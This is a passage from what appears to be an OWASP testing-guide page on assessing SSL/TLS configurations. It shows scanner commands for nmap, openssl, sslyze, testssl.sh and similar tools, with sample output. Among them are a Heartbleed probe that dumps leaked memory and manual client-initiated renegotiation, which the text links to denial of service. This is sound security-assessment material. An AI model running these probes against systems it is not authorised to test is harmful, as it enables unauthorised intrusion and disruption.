===Testing for sensitive data transmitted in clear-text===<br />
Various types of information which must be protected can be also transmitted in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS. Please refer to specific tests for full details, for credentials [3] and other kind of data [2]. <br />
<br />
<br />
=====Example 1. Basic Authentication over HTTP=====<br />
A typical example is the usage of Basic Authentication over HTTP because with Basic Authentication, after log in, credentials are encoded - and not encrypted - into HTTP Headers.<br />
<br />
<pre><br />
$ curl -kis http://example.com/restricted/<br />
HTTP/1.1 401 Authorization Required<br />
Date: Fri, 01 Aug 2013 00:00:00 GMT<br />
WWW-Authenticate: Basic realm="Restricted Area"<br />
Accept-Ranges: bytes<br />
Vary: Accept-Encoding<br />
Content-Length: 162<br />
Content-Type: text/html<br />
<br />
<html><head><title>401 Authorization Required</title></head><br />
<body bgcolor=white><br />
<h1>401 Authorization Required</h1><br />
<br />
Invalid login credentials!<br />
<br />
</body></html><br />
</pre><br />
<br />
<br />
===Testing for Weak SSL/TLS Ciphers/Protocols/Keys vulnerabilities===<br />
The large number of available cipher suites and quick progress in cryptanalysis makes testing an SSL server a non-trivial task. <br />
<br />
At the time of writing these criteria are widely recognized as minimum checklist:<br />
* Weak ciphers must not be used (e.g. less than 128 bits [10]; no NULL ciphers suite, due to no encryption used; no Anonymous Diffie-Hellmann, due to not provides authentication).<br />
* Weak protocols must be disabled (e.g. SSLv2 must be disabled, due to known weaknesses in protocol design [11]).<br />
* Renegotiation must be properly configured (e.g. Insecure Renegotiation must be disabled, due to MiTM attacks [12] and Client-initiated Renegotiation must be disabled, due to Denial of Service vulnerability [13]).<br />
* No Export (EXP) level cipher suites, due to can be easly broken [10].<br />
* X.509 certificates key length must be strong (e.g. if RSA or DSA is used the key must be at least 1024 bits).<br />
* X.509 certificates must be signed only with secure hashing algoritms (e.g. not signed using MD5 hash, due to known collision attacks on this hash).<br />
* Keys must be generated with proper entropy (e.g, Weak Key Generated with Debian) [14].<br />
<br />
A more complete checklist includes:<br />
* Secure Renegotiation should be enabled.<br />
* MD5 should not be used, due to known collision attacks. [35]<br />
* RC4 should not be used, due to crypto-analytical attacks [15].<br />
* Server should be protected from BEAST Attack [16].<br />
* Server should be protected from CRIME attack, TLS compression must be disabled [17].<br />
* Server should support Forward Secrecy [18].<br />
<br />
<br />
The following standards can be used as reference while assessing SSL servers:<br />
* PCI-DSS v2.0 in point 4.1 requires compliant parties to use "strong cryptography" without precisely defining key lengths and algorithms. Common interpretation, partially based on previous versions of the standard, is that at least 128 bit key cipher, no export strength algorithms and no SSLv2 should be used [19].<br />
* Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] and SSL Threat Model [20] has been proposed to standardize SSL server assessment and configuration. But is less updated than the SSL Server tool [21].<br />
* OWASP has a lot of resources about SSL/TLS Security [22], [23], [24], [25]. [26].<br />
<br />
<br />
Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan [29]) and commercial (e.g. Tenable Nessus [27]), can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way to test is to check them manually with openssl [30] or use the tool’s output as an input for manual evaluation using the references.<br />
<br />
<br />
Sometimes the SSL/TLS enabled service is not directly accessible and the tester can access it only via a HTTP proxy using CONNECT method [36]. Most of the tools will try to connect to desired tcp port to start SSL/TLS handshake. This will not work since desired port is accessible only via HTTP proxy. The tester can easily circumvent this by using relaying software such as socat [37].<br />
<br />
<br />
====Example 2. SSL service recognition via nmap====<br />
<br />
The first step is to identify ports which have SSL/TLS wrapped services. Typically tcp ports with SSL for web and mail services are - but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop).<br />
<br />
In this example we search for SSL services using nmap with “-sV” option, used to identify services and it is also able to identify SSL services [31]. Other options are for this particular example and must be customized. Often in a Web Application Penetration Test scope is limited to port 80 and 443.<br />
<br />
<pre><br />
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up, received user-set (0.20s latency).<br />
Not shown: 89 filtered ports<br />
Reason: 89 no-responses<br />
PORT STATE SERVICE REASON VERSION<br />
21/tcp open ftp syn-ack Pure-FTPd<br />
22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)<br />
25/tcp open smtp syn-ack Exim smtpd 4.80<br />
26/tcp open smtp syn-ack Exim smtpd 4.80<br />
80/tcp open http syn-ack<br />
110/tcp open pop3 syn-ack Dovecot pop3d<br />
143/tcp open imap syn-ack Dovecot imapd<br />
443/tcp open ssl/http syn-ack Apache<br />
465/tcp open ssl/smtp syn-ack Exim smtpd 4.80<br />
993/tcp open ssl/imap syn-ack Dovecot imapd<br />
995/tcp open ssl/pop3 syn-ack Dovecot pop3d<br />
Service Info: Hosts: example.com<br />
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .<br />
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds<br />
</pre><br />
<br />
<br />
====Example 3. Checking for Certificate information, Weak Ciphers and SSLv2 via nmap====<br />
Nmap has two scripts for checking Certificate information, Weak Ciphers and SSLv2 [31].<br />
<br />
<pre><br />
$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up (0.090s latency).<br />
rDNS record for 127.0.0.1: www.example.com<br />
PORT STATE SERVICE<br />
443/tcp open https<br />
| ssl-cert: Subject: commonName=www.example.org<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 1024<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
465/tcp open smtps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
993/tcp open imaps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
995/tcp open pop3s<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds<br />
</pre><br />
<br />
<br />
====Example 4 Checking for Client-initiated Renegotiation and Secure Renegotiation via openssl (manually)====<br />
<br />
Openssl [30] can be used for testing manually SSL/TLS. In this example the tester tries to initiate a renegotiation by client [m] connecting to server with openssl. The tester then writes the fist line of an HTTP request and types “R” in a new line. He then waits for renegotiaion and completion of the HTTP request and checks if secure renegotiaion is supported by looking at the server output. Using manual requests it is also possible to see if Compression is enabled for TLS and to check for CRIME [13], for ciphers and for other vulnerabilities. <br />
<br />
<pre><br />
$ openssl s_client -connect www2.example.com:443<br />
CONNECTED(00000003)<br />
depth=2 ******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
---<br />
Certificate chain<br />
0 s:******<br />
i:******<br />
1 s:******<br />
i:******<br />
2 s:******<br />
i:******<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
******<br />
-----END CERTIFICATE-----<br />
subject=******<br />
issuer=******<br />
---<br />
No client certificate CA names sent<br />
---<br />
SSL handshake has read 3558 bytes and written 640 bytes<br />
---<br />
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
SSL-Session:<br />
Protocol : TLSv1<br />
Cipher : DES-CBC3-SHA<br />
Session-ID: ******<br />
Session-ID-ctx: <br />
Master-Key: ******<br />
Key-Arg : None<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
Start Time: ******<br />
Timeout : 300 (sec)<br />
Verify return code: 20 (unable to get local issuer certificate)<br />
---<br />
</pre><br />
<br />
<br />
Now the tester can write the first line of an HTTP request and then R in a new line.<br />
<pre><br />
HEAD / HTTP/1.1<br />
R<br />
</pre><br />
<br />
Server is renegotiating<br />
<pre><br />
RENEGOTIATING<br />
depth=2 C******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
</pre><br />
<br />
And the tester can complete our request, checking for response.<br />
<pre><br />
HEAD / HTTP/1.1<br />
<br />
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator. )<br />
Connection: close<br />
Pragma: no-cache<br />
Cache-Control: no-cache<br />
Content-Type: text/html<br />
Content-Length: 1792 <br />
<br />
read:errno=0<br />
</pre><br />
<br />
Even if the HEAD is not permitted, Client-intiated renegotiaion is permitted.<br />
<br />
<br />
====Example 5. Testing supported Cipher Suites, BEAST and CRIME attacks via TestSSLServer====<br />
<br />
TestSSLServer [32] is a script which permits the tester to check the cipher suite and also for BEAST and CRIME attacks. BEAST (Browser Exploit Against SSL/TLS) exploits a vulnerability of CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy) exploits a vulnerability of TLS Compression, that should be disabled. What is interesting is that the first fix for BEAST was the use of RC4, but this is now discouraged due to a crypto-analytical attack to RC4 [15].<br />
<br />
<br />
An online tool to check for these attacks is SSL Labs, but can be used only for internet facing servers. Also consider that target data will be stored on SSL Labs server and also will result some connection from SSL Labs server [21].<br />
<br />
<pre><br />
$ java -jar TestSSLServer.jar www3.example.com 443<br />
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2<br />
Deflate compression: no<br />
Supported cipher suites (ORDER IS NOT SIGNIFICANT):<br />
SSLv3<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
(TLSv1.0: idem)<br />
(TLSv1.1: idem)<br />
TLSv1.2<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA256<br />
RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA256<br />
DHE_RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
----------------------<br />
Server certificate(s):<br />
******<br />
----------------------<br />
Minimal encryption strength: strong encryption (96-bit or more)<br />
Achievable encryption strength: strong encryption (96-bit or more)<br />
BEAST status: vulnerable<br />
CRIME status: protected<br />
<br />
</pre><br />
<br />
<br />
====Example 6. Testing SSL/TLS vulnerabilities with sslyze====<br />
Sslyze [33] is a python script which permits mass scanning and XML output. The following is an example of a regular scan. It is one of the most complete and versatile tools for SSL/TLS testing.<br />
<br />
<pre><br />
./sslyze.py --regular example.com:443<br />
<br />
REGISTERING AVAILABLE PLUGINS<br />
-----------------------------<br />
<br />
PluginHSTS<br />
PluginSessionRenegotiation<br />
PluginCertInfo<br />
PluginSessionResumption<br />
PluginOpenSSLCipherSuites<br />
PluginCompression<br />
<br />
<br />
<br />
CHECKING HOST(S) AVAILABILITY<br />
-----------------------------<br />
<br />
example.com:443 => 127.0.0.1:443<br />
<br />
<br />
<br />
SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443<br />
---------------------------------------------------<br />
<br />
* Compression :<br />
Compression Support: Disabled<br />
<br />
* Session Renegotiation :<br />
Client-initiated Renegotiations: Rejected<br />
Secure Renegotiation: Supported<br />
<br />
* Certificate :<br />
Validation w/ Mozilla's CA Store: Certificate is NOT Trusted: unable to get local issuer certificate<br />
Hostname Validation: MISMATCH <br />
SHA1 Fingerprint: ******<br />
<br />
Common Name: www.example.com <br />
Issuer: ******<br />
Serial Number: **** <br />
Not Before: Sep 26 00:00:00 2010 GMT <br />
Not After: Sep 26 23:59:59 2020 GMT <br />
<br />
Signature Algorithm: sha1WithRSAEncryption <br />
Key Size: 1024 bit <br />
X509v3 Subject Alternative Name: {'othername': ['<unsupported>'], 'DNS': ['www.example.com']}<br />
<br />
* OCSP Stapling :<br />
Server did not send back an OCSP response. <br />
<br />
* Session Resumption :<br />
With Session IDs: Supported (5 successful, 0 failed, 0 errors, 5 total attempts).<br />
With TLS Session Tickets: Supported<br />
<br />
* SSLV2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* SSLV3 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits HTTP 200 OK <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* TLSV1_1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-SHA socket.timeout - timed out <br />
ECDH-ECDSA-AES256-SHA socket.timeout - timed out <br />
<br />
* TLSV1_2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
<br />
* TLSV1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits Timeout on HTTP GET <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: <br />
ADH-CAMELLIA256-SHA socket.timeout - timed out <br />
<br />
<br />
<br />
SCAN COMPLETED IN 9.68 S<br />
------------------------<br />
</pre><br />
<br />
<br />
====Example 7. Testing SSL/TLS with testssl.sh====<br />
Testssl.sh [38] is a Linux shell script which provides clear output to facilitate good decision making. It can not only check web servers but also services on other ports, supports STARTTLS, SNI, SPDY and does a few check on the HTTP header as well. <br />
<br />
<br />
It's a very easy to use tool. Here's some sample output (without colors):<br />
<pre><br />
user@myhost: % testssl.sh owasp.org <br />
<br />
########################################################<br />
testssl.sh v2.0rc3 (https://testssl.sh)<br />
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)<br />
<br />
This program is free software. Redistribution + <br />
modification under GPLv2 is permitted. <br />
USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!<br />
<br />
Note you can only check the server against what is<br />
available (ciphers/protocols) locally on your machine<br />
########################################################<br />
<br />
Using "OpenSSL 1.0.2-beta1 24 Feb 2014" on<br />
"myhost:/<mypath>/bin/openssl64"<br />
<br />
<br />
Testing now (2014-04-17 15:06) ---> owasp.org:443 <---<br />
("owasp.org" resolves to "192.237.166.62 / 2001:4801:7821:77:cd2c:d9de:ff10:170e") <br />
<br />
<br />
--> Testing Protocols<br />
<br />
SSLv2 NOT offered (ok) <br />
SSLv3 offered <br />
TLSv1 offered (ok) <br />
TLSv1.1 offered (ok) <br />
TLSv1.2 offered (ok) <br />
<br />
SPDY/NPN not offered<br />
<br />
--> Testing standard cipher lists<br />
<br />
Null Cipher NOT offered (ok) <br />
Anonymous NULL Cipher NOT offered (ok) <br />
Anonymous DH Cipher NOT offered (ok) <br />
40 Bit encryption NOT offered (ok) <br />
56 Bit encryption NOT offered (ok) <br />
Export Cipher (general) NOT offered (ok) <br />
Low (<=64 Bit) NOT offered (ok) <br />
DES Cipher NOT offered (ok) <br />
Triple DES Cipher offered<br />
Medium grade encryption offered<br />
High grade encryption offered (ok) <br />
<br />
--> Testing server defaults (Server Hello)<br />
<br />
Negotiated protocol TLSv1.2 <br />
Negotiated cipher AES128-GCM-SHA256 <br />
<br />
Server key size 2048 bit<br />
TLS server extensions: server name, renegotiation info, session ticket, heartbeat<br />
Session Tickets RFC 5077 300 seconds<br />
<br />
--> Testing specific vulnerabilities<br />
<br />
Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok) <br />
Renegotiation (CVE 2009-3555) NOT vulnerable (ok) <br />
CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok) <br />
<br />
--> Checking RC4 Ciphers <br />
<br />
RC4 seems generally available. Now testing specific ciphers...<br />
<br />
Hexcode Cipher Name KeyExch. Encryption Bits<br />
--------------------------------------------------------------------<br />
[0x05] RC4-SHA RSA RC4 128<br />
<br />
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a<br />
<br />
--> Testing HTTP Header response <br />
<br />
HSTS no <br />
Server Apache<br />
Application (None)<br />
<br />
--> Testing (Perfect) Forward Secrecy (P)FS) <br />
<br />
no PFS available <br />
<br />
Done now (2014-04-17 15:07) ---> owasp.org:443 <---<br />
<br />
user@myhost: % <br />
<br />
<br />
</pre><br />
<br />
<br />
STARTTLS would be tested via <code>testssl.sh -t smtp.gmail.com:587 smtp</code>, each ciphers with <code>testssl -e <target></code>, each ciphers per protocol with <code>testssl -E <target></code>. To just display what local ciphers that are installed for openssl see <code>testssl -V</code>. For a thorough check it is best to dump the supplied OpenSSL binaries in the path or the one of testssl.sh.<br />
<br />
<br />
The interesting thing is if a tester looks at the sources they learn how features are tested, see e.g. Example 4. What is even better is that it does the whole handshake for heartbleed in pure /bin/bash with /dev/tcp sockets -- no piggyback perl/python/you name it. <br />
<br />
<br />
Additionally it provides a prototype (via "testssl.sh -V") of mapping to RFC cipher suite names to OpenSSL ones. The tester needs the file mapping-rfc.txt in same directory.<br />
<br />
<br />
====Example 8. Testing SSL/TLS with SSL Breacher ====<br />
This tool is combination of several other tools plus some additional checks in complementing most comprehensive SSL tests.<br />
It supports the following checks:<br />
#HeartBleed<br />
#ChangeCipherSpec Injection<br />
#BREACH <br />
#BEAST <br />
#Forward Secrecy support<br />
#RC4 support<br />
#CRIME & TIME (If CRIME is detected, TIME will also be reported)<br />
#Lucky13<br />
#HSTS: Check for implementation of HSTS header<br />
# HSTS: Reasonable duration of MAX-AGE <br />
# HSTS: Check for SubDomains support<br />
#Certificate expiration<br />
#Insufficient public key-length<br />
#Host-name mismatch<br />
#Weak Insecure Hashing Algorithm (MD2, MD4, MD5)<br />
#SSLv2 support<br />
#Weak ciphers check<br />
#Null Prefix in certificate<br />
#HTTPS Stripping<br />
#Non-SSL elements/contents embedded in SSL page<br />
#Cache-Control<br />
<br />
<br />
<pre><br />
pentester@r00ting: % breacher.sh https://localhost/<br />
<br />
Host Info:<br />
==============<br />
Host : localhost<br />
Port : 443<br />
Certificate Validation : false<br />
<br />
<br />
<br />
Certificate Info:<br />
==================<br />
Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)<br />
Expiration Date: Sat Nov 09 07:48:47 SGT 2019<br />
Signature Hash Algorithm: SHA1withRSA<br />
Public key: Sun RSA public key, 1024 bits<br />
modulus: 135632964843555009910164098161004086259135236815846778903941582882908611097021488277565732851712895057227849656364886898196239901879569635659861770850920241178222686670162318147175328086853962427921575656093414000691131757099663322369656756090030190369923050306668778534926124693591013220754558036175189121517<br />
public exponent: 65537<br />
Signed for: CN=localhost<br />
Signed by: CN=localhost<br />
Total certificate chain: 1<br />
<br />
(Use -Djavax.net.debug=ssl:handshake:verbose for debugged output.)<br />
<br />
=====================================<br />
<br />
Certificate Validation:<br />
===============================<br />
[!] Signed using Insufficient public key length 1024 bits<br />
(Refer to http://www.keylength.com/ for details)<br />
[!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java ROOT CAs.<br />
<br />
=====================================<br />
<br />
Loading module: Hut3 Cardiac Arrest ...<br />
<br />
Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ...<br />
<br />
[-] Connecting to 127.0.0.1:443 using SSLv3<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over SSLv3<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.0<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.0<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
